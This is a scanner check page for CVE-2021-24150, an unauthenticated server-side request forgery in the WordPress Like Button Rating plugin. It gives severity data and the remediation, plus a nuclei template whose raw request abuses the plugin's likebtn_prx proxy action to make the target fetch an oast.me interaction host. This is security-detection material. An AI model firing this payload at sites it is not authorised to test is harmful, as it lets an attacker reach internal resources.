WordPress Like Button Rating <2.6.32 - Server-Side Request Forgery

highseverity

7.5CVSS score

4.3%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

WordPress Like Button Rating plugin before 2.6.32 is susceptible to server-side request forgery. An attacker can obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

An attacker can exploit this vulnerability to make requests to internal resources, potentially leading to unauthorized access or information disclosure.

Fix

Update the WordPress Like Button Rating plugin to version 2.6.32 or later.

How to confirm it

Send: @timeout: 10s
Positive when: contains "Interactsh Server" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24150 -u <target>

The full check

id: CVE-2021-24150

info:
  name: WordPress Like Button Rating <2.6.32 - Server-Side Request Forgery
  author: theamanrawat
  severity: high
  description: |
    WordPress Like Button Rating plugin before 2.6.32 is susceptible to server-side request forgery. An attacker can obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to make requests to internal resources, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Update the WordPress Like Button Rating plugin to version 2.6.32 or later.
  reference:
    - https://wpscan.com/vulnerability/6bc6023f-a5e7-4665-896c-95afa5b638fb
    - https://wordpress.org/plugins/likebtn-like-button/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24150
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24150
    cwe-id: CWE-918
    epss-score: 0.04337
    epss-percentile: 0.9128
    cpe: cpe:2.3:a:likebtn-like-button_project:likebtn-like-button:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: likebtn-like-button_project
    product: likebtn-like-button
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,wp,ssrf,wpscan,unauth,likebtn-like-button,likebtn-like-button_project,vuln

http:
  - raw:
      - |
        @timeout: 10s
        GET /wp-admin/admin-ajax.php?action=likebtn_prx&likebtn_q={{base64('http://likebtn.com.oast.me')}}" HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Interactsh Server"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from